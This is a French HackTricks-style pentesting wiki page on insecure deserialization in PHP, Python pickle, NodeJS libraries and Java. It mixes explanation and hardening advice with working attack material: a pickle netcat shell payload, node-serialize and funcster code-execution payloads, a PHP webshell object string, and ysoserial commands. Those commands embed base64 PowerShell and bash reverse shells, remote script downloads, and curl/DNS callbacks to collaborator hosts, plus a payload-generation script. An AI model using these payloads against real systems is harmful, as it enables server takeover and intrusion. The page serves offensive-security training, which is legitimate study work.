Deserialization

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Serialization est entendue comme la méthode de conversion d’un objet en un format pouvant être conservé, dans l’intention soit de stocker l’objet, soit de le transmettre dans le cadre d’un processus de communication. Cette technique est couramment employée pour garantir que l’objet puisse être recréé ultérieurement, en conservant sa structure et son état.

Deserialization, inversement, est le processus qui s’oppose à Serialization. Elle consiste à prendre des données structurées dans un format spécifique et à les reconstruire en un objet.

Deserialization peut être dangereuse car elle peut potentiellement permettre à des attaquants de manipuler les données sérialisées pour exécuter du code malveillant ou provoquer un comportement inattendu de l’application lors du processus de reconstruction de l’objet.

PHP

En PHP, des méthodes magiques spécifiques sont utilisées pendant les processus de serialization et deserialization :

  • __sleep: Appelée lorsqu’un objet est sérialisé. Cette méthode doit renvoyer un tableau contenant les noms de toutes les propriétés de l’objet qui doivent être sérialisées. Elle est couramment utilisée pour sauvegarder des données en attente ou effectuer des tâches de nettoyage similaires.
  • __wakeup: Appelée lorsqu’un objet est désérialisé. Elle sert à rétablir d’éventuelles connexions à la base de données perdues pendant la serialization et à effectuer d’autres tâches de réinitialisation.
  • __unserialize: Cette méthode est appelée à la place de __wakeup (si elle existe) lorsqu’un objet est désérialisé. Elle offre plus de contrôle sur le processus de deserialization par rapport à __wakeup.
  • __destruct: Cette méthode est appelée lorsqu’un objet est sur le point d’être détruit ou lorsque le script se termine. Elle est typiquement utilisée pour des tâches de nettoyage, comme fermer des descripteurs de fichiers ou des connexions à la base de données.
  • __toString: Cette méthode permet de traiter un objet comme une chaîne. Elle peut être utilisée pour lire un fichier ou pour d’autres tâches en fonction des appels de fonctions qu’elle contient, fournissant ainsi une représentation textuelle de l’objet.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Si vous regardez les résultats vous pouvez voir que les fonctions __wakeup et __destruct sont appelées lorsque l’objet est désérialisé. Notez que dans plusieurs tutoriels vous trouverez que la fonction __toString est appelée lorsqu’on tente d’afficher un attribut, mais apparemment cela ne se produit plus.

Warning

La méthode __unserialize(array $data) est appelée à la place de __wakeup() si elle est implémentée dans la classe. Elle permet de désérialiser l’objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser les propriétés et effectuer toutes les opérations nécessaires lors de la désérialisation.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Vous pouvez lire un exemple PHP expliqué ici : https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ici https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou ici https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

Désérialisation PHP + Autoload des classes

Vous pouvez abuser de la fonctionnalité autoload de PHP pour charger des fichiers php arbitraires et plus :

PHP - Deserialization + Autoload Classes

Sérialisation des valeurs référencées

Si, pour une raison quelconque, vous souhaitez sérialiser une valeur comme une référence à une autre valeur sérialisée vous pouvez :

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Prévenir PHP Object Injection avec allowed_classes

[!INFO] Le support du deuxième argument de unserialize() (le tableau $options) a été ajouté dans PHP 7.0. Sur les versions plus anciennes la fonction n’accepte que la chaîne sérialisée, ce qui rend impossible de restreindre les classes pouvant être instanciées.

unserialize() va instancier chaque classe qu’il trouve dans le flux sérialisé sauf indication contraire. Depuis PHP 7 le comportement peut être restreint avec l’option allowed_classes :

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Si allowed_classes est omis ou que le code s’exécute sur PHP < 7.0, l’appel devient dangereux car un attaquant peut fabriquer une payload qui abuse des méthodes magiques telles que __wakeup() ou __destruct() pour obtenir Remote Code Execution (RCE).

Exemple réel : Everest Forms (WordPress) CVE-2025-52709

Le plugin WordPress Everest Forms ≤ 3.2.2 a essayé d’être défensif avec un wrapper d’assistance mais a oublié les anciennes versions de PHP :

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Sur des serveurs qui exécutaient encore PHP ≤ 7.0, cette seconde branche conduisait à une classique PHP Object Injection lorsqu’un administrateur ouvrait une soumission de formulaire malveillant. Un exploit payload minimal pourrait ressembler à :

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Dès que l’admin a consulté l’entrée, l’objet a été instancié et SomeClass::__destruct() a été exécuté, entraînant l’exécution de code arbitraire.

Points clés

  1. Passez toujours ['allowed_classes' => false] (ou une liste blanche stricte) lors de l’appel à unserialize().
  2. Auditez les wrappers défensifs – ils oublient souvent les branches legacy de PHP.
  3. Mettre à niveau vers PHP ≥ 7.x seul n’est pas suffisant : l’option doit toujours être fournie explicitement.

PHPGGC (ysoserial for PHP)

PHPGGC peut vous aider à générer des payloads pour exploiter des deserializations PHP.
Notez que dans plusieurs cas vous ne pourrez pas trouver de moyen d’abuser d’une deserialization dans le code source de l’application, mais vous pourrez peut-être abuser du code d’extensions PHP externes.
Donc, si vous le pouvez, vérifiez le phpinfo() du serveur et cherchez sur Internet (et même dans les gadgets de PHPGGC) des gadgets possibles que vous pourriez abuser.

phar:// metadata deserialization

Si vous avez trouvé un LFI qui se contente de lire le fichier et n’exécute pas le code php à l’intérieur, par exemple en utilisant des fonctions comme file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Vous pouvez essayer d’abuser d’une deserialization se produisant lors de la lecture d’un fichier en utilisant le protocole phar.
Pour plus d’informations lisez le post suivant :

phar:// deserialization

Python

Pickle

Lorsque l’objet est unpickle, la fonction ___reduce___ sera exécutée.
Lors d’une exploitation, le serveur pourrait renvoyer une erreur.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Avant de vérifier la technique de contournement, essayez d’utiliser print(base64.b64encode(pickle.dumps(P(),2))) pour générer un objet compatible avec python2 si vous exécutez python3.

Pour plus d’informations sur l’évasion des pickle jails consultez :

Bypass Python sandboxes

Yaml & jsonpickle

La page suivante présente la technique pour abuser d’une désérialisation non sécurisée dans les yamls des bibliothèques python et se termine par un outil pouvant être utilisé pour générer des payloads de désérialisation RCE pour Pickle, PyYAML, jsonpickle and ruamel.yaml :

Python Yaml Deserialization

Pollution de classes (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

Fonctions “magiques” JS

JS n’a pas de “magic” functions comme PHP ou Python qui vont s’exécuter simplement en créant un objet. Mais il possède certaines fonctions qui sont fréquemment utilisées même sans être appelées directement telles que toString, valueOf, toJSON.
Si vous abusez d’une désérialisation, vous pouvez compromettre ces fonctions pour exécuter d’autres codes (potentiellement en abusant de prototype pollutions) et ainsi exécuter du code arbitraire lorsqu’elles sont appelées.

Une autre “magic” way to call a function sans l’appeler directement est de compromettre un objet qui est retourné par une async function (promise). Parce que, si vous transformez cet objet de retour en une autre promise avec une propriété appelée “then” of type function, elle sera exécutée simplement parce qu’elle est retournée par une autre promise. Follow this link for more info.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Si vous souhaitez en savoir plus sur cette technique consultez le tutoriel suivant :

NodeJS - proto & prototype Pollution

node-serialize

Cette bibliothèque permet de sérialiser des fonctions. Exemple:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

L’objet sérialisé ressemblera à :

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Vous pouvez voir dans l’exemple que lorsqu’une fonction est sérialisée le flag _$$ND_FUNC$$_ est ajouté à l’objet sérialisé.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

Comme vous pouvez le voir dans le dernier chunk de code, si le flag est trouvé eval est utilisé pour désérialiser la fonction, donc en pratique des données utilisateur sont utilisées dans la fonction eval.

Cependant, just serialising une fonction won’t execute it car il faudrait qu’une partie du code calling y.rce dans notre exemple et c’est hautement improbable.
Quoi qu’il en soit, vous pouvez simplement modifier l’objet sérialisé en ajoutant des parenthèses afin d’exécuter automatiquement la fonction sérialisée lors de la désérialisation.
Dans l’extrait de code suivant remarquez la dernière parenthèse et comment la fonction unserialize exécutera automatiquement le code:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Comme indiqué précédemment, cette bibliothèque récupérera le code après _$$ND_FUNC$$_ et l’exécutera en utilisant eval. Par conséquent, afin d’auto-exécuter du code vous pouvez supprimer la partie de création de fonction et la dernière parenthèse et exécuter simplement un JS oneliner comme dans l’exemple suivant :

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Vous pouvez find here obtenir plus d’informations sur la manière d’exploiter cette vulnérabilité.

funcster

Un aspect notable de funcster est l’inaccessibilité des standard built-in objects ; ils se trouvent hors de la portée accessible. Cette restriction empêche l’exécution de code qui tente d’appeler des méthodes sur des built-in objects, provoquant des exceptions telles que “ReferenceError: console is not defined” lorsque des commandes comme console.log() ou require(something) sont utilisées.

Malgré cette limitation, la restauration de l’accès complet au contexte global, incluant tous les standard built-in objects, est possible via une approche spécifique. En tirant parti du contexte global directement, on peut contourner cette restriction. Par exemple, l’accès peut être rétabli en utilisant l’extrait suivant :

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Pour plus d’informations, lisez cette source.

serialize-javascript

Le package serialize-javascript est conçu exclusivement pour la sérialisation et ne fournit aucune capacité de désérialisation intégrée. Les utilisateurs doivent implémenter leur propre méthode de désérialisation. L’exemple officiel suggère une utilisation directe de eval pour désérialiser les données sérialisées :

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Si cette fonction est utilisée pour deserialize des objets, vous pouvez l’exploiter facilement:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Pour more information read this source.

Cryo library

Dans les pages suivantes, vous pouvez trouver des informations sur la façon d’abuser de cette bibliothèque pour exécuter des commandes arbitraires :

Java - HTTP

En Java, deserialization callbacks are executed during the process of deserialization. Cette exécution peut être exploitée par des attaquants qui conçoivent des payloads malveillants déclenchant ces callbacks, conduisant potentiellement à l’exécution d’actions nuisibles.

Fingerprints

White Box

Pour identifier d’éventuelles vulnérabilités de serialization dans la base de code, recherchez :

  • Classes qui implémentent l’interface Serializable.
  • Utilisation de java.io.ObjectInputStream, readObject, readUnshare.

Faites particulièrement attention à :

  • XMLDecoder utilisé avec des paramètres définis par des utilisateurs externes.
  • La méthode fromXML de XStream, en particulier si la version de XStream est inférieure ou égale à 1.46, car elle est susceptible de problèmes de serialization.
  • ObjectInputStream associé à la méthode readObject.
  • Implémentations de méthodes telles que readObject, readObjectNodData, readResolve, ou readExternal.
  • ObjectInputStream.readUnshared.
  • Usage général de Serializable.

Black Box

Pour les tests black box, recherchez des signatures spécifiques ou des “Magic Bytes” qui indiquent des objets java sérialisés (provenant de ObjectInputStream) :

  • Motif hexadécimal : AC ED 00 05.
  • Motif Base64 : rO0.
  • En-têtes HTTP avec Content-type défini sur application/x-java-serialized-object.
  • Motif hexadécimal indiquant une compression préalable : 1F 8B 08 00.
  • Motif Base64 indiquant une compression préalable : H4sIA.
  • Fichiers web avec l’extension .faces et le paramètre faces.ViewState. La découverte de ces motifs dans une application web devrait conduire à un examen comme détaillé dans le post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Vérifier si le système est vulnérable

Si vous voulez learn about how does a Java Deserialized exploit work vous devriez consulter Basic Java Deserialization, Java DNS Deserialization, et CommonsCollection1 Payload.

Désérialisation protégée par SignedObject et accessibilité pré-auth

Les bases de code modernes enveloppent parfois la désérialisation avec java.security.SignedObject et valident une signature avant d’appeler getObject() (qui désérialise l’objet interne). Cela empêche des gadget classes arbitraires de haut niveau mais peut rester exploitable si un attaquant parvient à obtenir une signature valide (par ex., compromission de la clé privée ou un signing oracle). De plus, les flux de gestion d’erreurs peuvent générer des jetons liés à la session pour des utilisateurs non authentifiés, exposant des sinks autrement protégés pre-auth.

Pour une étude de cas concrète avec des requêtes, des IoCs et des conseils de durcissement, voir :

Java Signedobject Gated Deserialization

Test en boîte blanche

Vous pouvez vérifier s’il y a des applications installées avec des vulnérabilités connues.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to vérifier toutes les bibliothèques connues pour être vulnérables et pour lesquelles Ysoserial peut fournir un exploit. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don’t care about the tons of warnings/errors that it’s going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won’t create an exploit and it may indicate false positives.

Test en boîte noire

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.

Test de sérialisation

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Lors de la création d’un payload pour java.lang.Runtime.exec(), vous ne pouvez pas utiliser de caractères spéciaux comme “>” ou “|” pour rediriger la sortie d’une exécution, “$()” pour exécuter des commandes ou même passer des arguments à une commande séparés par des espaces (vous pouvez faire echo -n "hello world" mais vous ne pouvez pas faire python2 -c 'print "Hello world"'). Pour encoder correctement le payload vous pouvez utiliser cette page web.

N’hésitez pas à utiliser le script suivant pour créer tous les payloads d’exécution de code possibles pour Windows et Linux, puis les tester sur la page web vulnérable :

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Vous pouvez utiliser https://github.com/pwntester/SerialKillerBypassGadgetCollection avec ysoserial pour créer davantage d’exploits. Plus d’informations sur cet outil dans les diapositives de la présentation où l’outil a été présenté: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec peut être utilisé pour générer des payloads afin d’exploiter différentes bibliothèques de sérialisation Json et Yml en Java.
Pour compiler le projet, j’ai dû ajouter ces dépendances à pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installez maven, et compilez le projet:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

En savoir plus sur cette bibliothèque JSON Java : https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoires

Pourquoi

Java utilise beaucoup la sérialisation pour divers usages, comme :

  • Requêtes HTTP : la sérialisation est largement employée dans la gestion des paramètres, ViewState, cookies, etc.
  • RMI (Remote Method Invocation) : Le protocole Java RMI, qui repose entièrement sur la sérialisation, est un pilier de la communication distante dans les applications Java.
  • RMI over HTTP : Cette méthode est couramment utilisée par les applications web client lourdes basées sur Java, utilisant la sérialisation pour toutes les communications d’objets.
  • JMX (Java Management Extensions) : JMX utilise la sérialisation pour transmettre des objets sur le réseau.
  • Protocoles personnalisés : En Java, la pratique standard consiste à transmettre des objets Java bruts, ce qui sera démontré dans les exemples d’exploit à venir.

Prévention

Objets transient

Une classe qui implémente Serializable peut déclarer comme transient tout objet à l’intérieur de la classe qui ne devrait pas être sérialisable. Par exemple :

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Éviter la sérialisation d’une classe qui doit implémenter Serializable

Dans les cas où certains objets doivent implémenter l’interface Serializable en raison de la hiérarchie de classes, il existe un risque de désérialisation non intentionnelle. Pour l’empêcher, assurez-vous que ces objets ne puissent pas être désérialisés en définissant une méthode final readObject() qui lance systématiquement une exception, comme illustré ci-dessous :

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Renforcer la sécurité de la deserialization en Java

Personnaliser java.io.ObjectInputStream est une approche pratique pour sécuriser les processus de deserialization. Cette méthode convient lorsque :

  • Le code de deserialization est sous votre contrôle.
  • Les classes attendues pour la deserialization sont connues.

Redéfinissez la méthode resolveClass() pour limiter la deserialization uniquement aux classes autorisées. Cela empêche la deserialization de toute classe autre que celles explicitement autorisées, comme dans l’exemple suivant qui restreint la deserialization à la classe Bicycle uniquement :

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement offre une solution de secours lorsque la modification du code n’est pas possible. Cette méthode s’applique principalement pour blacklisting harmful classes, en utilisant un paramètre JVM :

-javaagent:name-of-agent.jar

Cela fournit un moyen de sécuriser la désérialisation de manière dynamique, idéal pour les environnements où des modifications immédiates du code sont impraticables.

Check and example in rO0 by Contrast Security

Implémentation des filtres de sérialisation: Java 9 a introduit les filtres de sérialisation via l’interface ObjectInputFilter, offrant un mécanisme puissant pour spécifier des critères que les objets sérialisés doivent respecter avant d’être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation.

Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s’applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple :

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Utilisation de bibliothèques externes pour renforcer la sécurité : Des bibliothèques telles que NotSoSerial, jdeserialize, et Kryo offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, comme le whitelist/blacklist de classes, l’analyse d’objets sérialisés avant désérialisation, et l’implémentation de stratégies de sérialisation personnalisées.

  • NotSoSerial intercepte les processus de désérialisation pour empêcher l’exécution de code non fiable.
  • jdeserialize permet l’analyse d’objets Java sérialisés sans les désérialiser, aidant à identifier du contenu potentiellement malveillant.
  • Kryo est un framework de sérialisation alternatif qui met l’accent sur la vitesse et l’efficacité, offrant des stratégies de sérialisation configurables pouvant améliorer la sécurité.

References

JNDI Injection & log4Shell

Trouvez ce qu’est JNDI Injection, comment l’abuser via RMI, CORBA & LDAP et comment exploiter log4shell (et un exemple de cette vuln) dans la page suivante :

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

Il existe plusieurs produits qui utilisent ce middleware pour envoyer des messages :

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Donc, essentiellement il existe un grand nombre de services utilisant JMS de manière dangereuse. Par conséquent, si vous avez suffisamment de privilèges pour envoyer des messages à ces services (généralement il vous faudra des identifiants valides) vous pourriez être capable d’envoyer des objets malveillants sérialisés qui seront désérialisés par le consumer/subscriber.
Cela signifie que dans cette exploitation tous les clients qui vont consommer ce message seront infectés.

